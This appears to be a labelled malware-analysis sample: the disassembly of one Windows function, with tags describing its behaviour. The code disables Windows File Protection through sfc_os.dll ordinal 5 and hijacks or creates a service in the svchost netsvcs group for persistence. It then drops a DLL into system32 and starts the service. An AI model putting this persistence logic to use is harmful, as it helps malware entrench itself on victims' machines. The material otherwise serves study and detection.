Function at 0x40202c
Capabilities:
Bypass windows file protection
Create service
Get common file path
Persist via windows service
Query or enumerate registry value
Query service status
Start service
Stop service
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc38
and dword [ebp - 8], 0
and dword [ebp - 0x11c], 0
and dword [ebp - 0x10], 0
and dword [ebp - 0x64c], 0
and dword [ebp - 4], 0
and dword [ebp - 0x120], 0
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
call fcn.00406495
push 0x40dc40
push 0x40dc3c
push 0
call fcn.00401bef
push 0x104
push 0
lea eax, [ebp - 0x228]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x104
push 0
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
push str.sfc_os.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x64c], eax
cmp dword [ebp - 0x64c], 0
jne 0x40211e
jmp 0x402305
push 5
push dword [ebp - 0x64c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40dc44], eax
and dword [ebp - 0x784], 0
and dword [ebp - 0xb8c], 0
jmp 0x40214e
mov eax, dword [ebp - 0xb8c]
inc eax
mov dword [ebp - 0xb8c], eax
push dword [ebp - 0xb8c]
push 0
push 0x40
lea eax, [ebp - 0xbd0]
push eax
call fcn.00401879
cmp eax, 0xffffffff
jne 0x40218a
cmp dword [ebp - 0x784], 0
jne 0x402185
mov dword [ebp - 0x784], 1
or dword [ebp - 0xb8c], 0xffffffff
jmp 0x402141
jmp 0x402305
push dword [ebp - 0xb8c]
push 1
push 0x40
lea eax, [ebp - 0xc10]
push eax
call fcn.00401879
push 0x40d730
lea eax, [ebp - 0xc10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4021b8
jmp 0x402141
push 0xf01ff
lea eax, [ebp - 0xbd0]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
jne 0x4021e1
jmp 0x402141
push 0x1c
push 0
lea eax, [ebp - 0xc2c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc2c]
push eax
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0xc28], 1
je 0x402246
cmp dword [ebp - 0x784], 0
jne 0x402223
jmp 0x4022f4
lea eax, [ebp - 0xc2c]
push eax
push 1
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x402246
jmp 0x4022f4
push 0x104
push 0
lea eax, [ebp - 0x758]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc10]
push eax
lea eax, [ebp - 0x228]
push eax
push str._s_system32_s.dll
lea eax, [ebp - 0x758]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x758]
push eax
call fcn.00401e0c
test eax, eax
jne 0x402293
jmp 0x4022f4
push 0
push 0
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4022ab
jmp 0x4022f4
push dword [ebp - 0x64c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [0x40dc3c], 0
je 0x4022ec
mov eax, dword [0x40dc3c]
mov dword [ebp - 0xc30], eax
push dword [ebp - 0xc30]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x402141
push 0x400
push 0
lea eax, [ebp - 0xb88]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x10], 0x400
lea eax, [ebp - 0xc]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x780], 0x7374656e
mov dword [ebp - 0x77c], 0x736376
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xb88]
push eax
lea eax, [ebp - 0x11c]
push eax
push 0
lea eax, [ebp - 0x780]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xb88]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movsx eax, byte [eax]
test eax, eax
je 0x4024d6
push 0x40d730
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4023a6
jmp 0x402384
push 0x400
push 0
lea eax, [ebp - 0x648]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x409508
push str.ost.exe
push str._SystemRoot_System32_svch_s__k_nets
push str._s_s
lea eax, [ebp - 0x648]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x648]
push eax
push 1
push 2
push 0x20
push 0x10
push dword [ebp - 8]
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
je 0x4024be
push dword [ebp - 8]
lea eax, [ebp - 0x228]
push eax
push str._s_system32_s.dll
lea eax, [ebp - 0x758]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x758]
push eax
push dword [ebp - 8]
call fcn.00401d5b
lea eax, [ebp - 0x758]
push eax
call fcn.00401e0c
test eax, eax
jne 0x40245d
jmp 0x4024be
push 0
push 0
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x402475
jmp 0x4024be
push dword [ebp - 0x64c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [0x40dc3c], 0
je 0x4024b6
mov eax, dword [0x40dc3c]
mov dword [ebp - 0xc34], eax
push dword [ebp - 0xc34]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 8]
lea eax, [ecx + eax + 1]
mov dword [ebp - 8], eax
jmp 0x402384
push dword [ebp - 0x64c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [0x40dc3c], 0
je 0x40250b
mov eax, dword [0x40dc3c]
mov dword [ebp - 0xc38], eax
push dword [ebp - 0xc38]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]